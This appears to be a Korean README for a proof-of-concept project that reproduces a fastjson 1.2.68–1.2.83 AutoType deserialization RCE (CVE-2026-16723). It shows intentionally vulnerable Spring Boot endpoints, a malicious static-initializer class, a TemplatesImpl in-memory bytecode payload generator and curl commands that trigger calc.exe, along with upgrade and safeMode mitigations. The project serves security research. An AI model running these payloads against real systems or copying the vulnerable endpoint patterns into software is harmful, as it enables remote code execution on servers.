
CVE-2026-16723 재현 프로젝트로, fastjson 1.2.68-1.2.83의 치명적인 RCE 취약점입니다. AutoType 우회, JNDI 주입, 취약한 Spring Boot 엔드포인트를 통한 TemplatesImpl 인메모리 페이로드를 시연합니다.
| 속성 | 값 |
|---|
| CVE ID | CVE-2026-16723 |
| 구성 요소 | fastjson |
| 영향 버전 | 1.2.68 – 1.2.83 |
| 수정 버전 | 1.2.84+, 2.0.0+ |
| 취약점 유형 | 역직렬화 / RCE |
| 심각도 | CVSS 3.1: 9.0 (CRITICAL) |
| 공격 경로 | 네트워크 |
| 복잡도 | 낮음 |
| 필요 권한 | 없음 |
| 사용자 상호작용 | 없음 |
fastjson-cve-2026-16723/
├── pom.xml # 메인 프로젝트 (취약한 fastjson을 사용하는 Spring Boot 앱)
├── src/main/java/com/example/cve/
│ ├── FastjsonCveApplication.java # Spring Boot 진입점
│ └── controller/
│ └── VulnerableController.java # 취약한 REST 엔드포인트
├── malicious/ # 별도 모듈: 공급망 시뮬레이션용 악성 JAR
│ ├── pom.xml
│ └── src/main/java/exploit/
│ ├── MaliciousClass.java # 정적 초기화자를 가진 악성 클래스
│ ├── EvilTranslet.java # TemplatesImpl 인메모리 모드용 악성 translet
│ └── GenTemplatesPayload.java # TemplatesImpl JSON 페이로드 생성
├── templates-payload.json # 생성된 TemplatesImpl 페이로드 (직접 변형)
├── templates-payload-preload.json # 생성된 TemplatesImpl 페이로드 (클래스 프리로드 변형)
├── target/
│ └── fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar
└── malicious/target/
└── malicious-jar-1.0.jar
fastjson 1.2.68–1.2.83에는 AutoType 보호 메커니즘의 우회가 존재합니다. 기본 구성(autoTypeSupport=false)에서도 공격자는 다음과 같은 익스플로잇 체인을 사용하여 조작된 JSON 페이로드를 통해 임의의 클래스를 인스턴스화할 수 있습니다:
java.lang.Class + com.sun.rowset.JdbcRowSetImpl (JNDI 주입)java.lang.Runtime (직접 명령 실행)@type: exploit.MaliciousClass)VulnerableController.java — 두 개의 엔드포인트가 문제를 보여줍니다:
@PostMapping("/parse")
public String parseJson(@RequestBody String json) {
// 취약: 기본 구성으로 JSON.parseObject 사용
// ParserConfig.getGlobalInstance().setAutoTypeSupport(true)가 필요 없음!
JSONObject obj = JSON.parseObject(json);
return "Parsed: " + obj.toJSONString();
}
@PostMapping("/deserialize")
public String deserializeJson(@RequestBody String json) {
// Object로 강제 역직렬화 — 실제 클래스 인스턴스화 트리거
Object obj = JSON.parse(json);
return "Deserialized: " + obj.getClass().getName();
}
# 메인 애플리케이션 빌드
mvn clean package -DskipTests
# 악성 JAR 빌드 (별도 모듈)
cd malicious && mvn clean package && cd ..
target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar — Spring Boot fat JARmalicious/target/malicious-jar-1.0.jar — exploit.MaliciousClass가 포함된 악성 JARjava -jar target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar
서버가 http://localhost:8080 에서 시작됩니다.
런타임 요구 사항: 이 프로젝트는 Java 8을 대상으로 하며 TemplatesImpl 인메모리 모드는 JDK 8에서 검증되었습니다. JDK 9+에서는 모듈 시스템이
java.xml내부에 대한 리플렉티브 접근을 차단하므로,--add-opens플래그를 추가하지 않으면Error: create instance error, class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl오류로 체인이 실패합니다:java --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \ --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc=ALL-UNNAMED \ -jar target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar
메인 pom.xml은 악성 JAR를 의존성으로 선언하므로 fat JAR에 번들됩니다:
<dependency>
<groupId>exploit</groupId>
<artifactId>malicious-jar</artifactId>
<version>1</version>
</dependency>
런타임에 확인:
curl http://localhost:8080/api/debug
curl http://localhost:8080/api/test
예상 결과: CVE-2026-16723 Reproduction Endpoint Ready...
malicious 모듈은 클래스 로드 시 calc.exe를 실행하는 정적 초기화자를 가진 exploit.MaliciousClass를 제공합니다.
curl -X POST http://localhost:8080/api/deserialize \
-H "Content-Type: application/json" \
-d '{"@type":"exploit.MaliciousClass"}'
결과:
>>> MALICIOUS STATIC INITIALIZER EXECUTED <<<
>>> MaliciousClass constructor called <<<
그리고 서버에서 calc.exe가 실행됩니다.
참고: 이는 클래스패스에 악성 의존성이 존재하는 공급망 시나리오를 보여줍니다. 이 취약점은 JDK 클래스뿐만 아니라 클래스패스의 모든 클래스를 인스턴스화할 수 있게 합니다.
클래스패스에 악성 클래스가 필요한 공급망 모드와 LDAP/RMI 서버가 필요한 JNDI 모드와 달리, 이 모드는 악성 바이트코드를 페이로드에 직접 포함하고 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl을 통해 메모리에서 로드합니다 — 추가 배포가 필요 없습니다.
1단계 — 페이로드 생성:
cd malicious && mvn -DskipTests clean install && cd ..
java -cp malicious/target/malicious-jar-1.0.jar exploit.GenTemplatesPayload
이 명령은 exploit.EvilTranslet(정적 초기화자가 calc.exe를 실행하는 AbstractTranslet 하위 클래스)을 컴파일하고, 해당 .class 바이트를 base64로 인코딩하여 다음 파일을 작성합니다:
templates-payload.json — 직접 변형 ("@type": "TemplatesImpl")templates-payload-preload.json — java.lang.Class 프리로드 변형2단계 — 페이로드 전송:
curl -X POST http://localhost:8080/api/deserialize-autotype \
-H "Content-Type: application/json" \
--data-binary @templates-payload.json
결과:
>>> EVIL TRANSLET STATIC INITIALIZER EXECUTED <<<
>>> EvilTranslet constructor called <<<
그리고 서버에서 calc.exe가 실행됩니다.
⚠️ 실증적 발견 (fastjson 1.2.83에서 검증): TemplatesImpl 체인은 순수 기본 구성에서는 트리거할 수 없습니다:
- 직접
@type페이로드는 AutoType denyList에 의해 거부됩니다 (autoType is not support).java.lang.Class프리로드 체인은 두 가지 이유로 실패합니다:java.lang.Class자체가 denyList에 있고 (autoType is not support. java.lang.Class), 내부 클래스 매핑에TemplatesImpl을 프리로드해도 denyList를 우회하지 못합니다 — 1.2.47 시대의 매핑 우회는 1.2.83에서 수정되었습니다.autoTypeSupport(true)만으로는 충분하지 않습니다: denyList가 autoType 플래그보다 우선합니다.- 체인은
ParserConfig.addAccept(...)를 통해 클래스가 허용 목록에 추가된 경우에만 실행됩니다 (acceptList가 denyList보다 우선) 그리고Feature.SupportNonPublicField가 활성화된 경우에만 실행됩니다 (TemplatesImpl의_bytecodes/_name/_tfactory는 private 필드입니다)./api/deserialize-autotype엔드포인트는 정확히 이 조합을 구현합니다.- 런타임: 체인은 JDK 8에서 검증되었습니다. JDK 9+에서는 모듈 시스템이
java.xml내부에 대한 리플렉티브 접근을 차단하므로, 애플리케이션 실행 섹션의 JVM 플래그를 사용하지 않으면Error: create instance error, class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl오류로 인스턴스 생성이 실패합니다.
| 엔드포인트 | 동작 |
|---|---|
POST /api/parse | JSONObject로 파싱 — 모든 페이로드에 대해 완전한 역직렬화를 트리거하지 않을 수 있음 |
POST /api/deserialize | Object로 파싱 — 완전한 역직렬화 및 클래스 인스턴스화 강제 (기본 구성) |
POST /api/deserialize-nonpublic | JSON.parse + Feature.SupportNonPublicField — private 필드 작성, 하지만 denyList가 여전히 TemplatesImpl 차단 |
POST /api/deserialize-autotype | AutoType + addAccept + SupportNonPublicField — TemplatesImpl 인메모리 체인 실행 |
악성 클래스 익스플로잇의 경우 정적 초기화자를 트리거하려면 /api/deserialize 가 필요합니다.
fastjson을 패치된 버전으로 업그레이드하세요:
<!-- 옵션 1: fastjson 1.x (1.x 사용자에게 권장) -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.84</version>
</dependency>
<!-- 옵션 2: fastjson 2.x (새 프로젝트에 권장) -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson2</artifactId>
<version>2.0.0</version>
</dependency>
// AutoType을 전역적으로 비활성화 (부분 완화 — 익스플로잇 체인이 여전히 우회할 수 있음)
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
// 또는 safeMode 사용 (fastjson 1.2.68+)
ParserConfig.getGlobalInstance().setSafeMode(true);
이 프로젝트는 교육 및 방어적 보안 연구 목적으로만 제공됩니다.
- 소유하지 않았거나 명시적인 서면 테스트 허가를 받지 않은 시스템에 사용하지 마십시오.
- 저자는 이 코드 사용으로 인해 발생하는 오용, 손해 또는 법적 결과에 대해 책임을 지지 않습니다.
- 취약점 발견 시 항상 책임 있는 공개 관행을 따르십시오.
- 이 재현은 데모 목적으로 무해한 페이로드(
calc.exe)를 사용합니다. 실제 익스플로잇은 심각한 피해를 초래할 수 있습니다.
이 프로젝트는 보안 연구를 위해 있는 그대로 제공됩니다. 명시적 또는 묵시적 보증이 없습니다.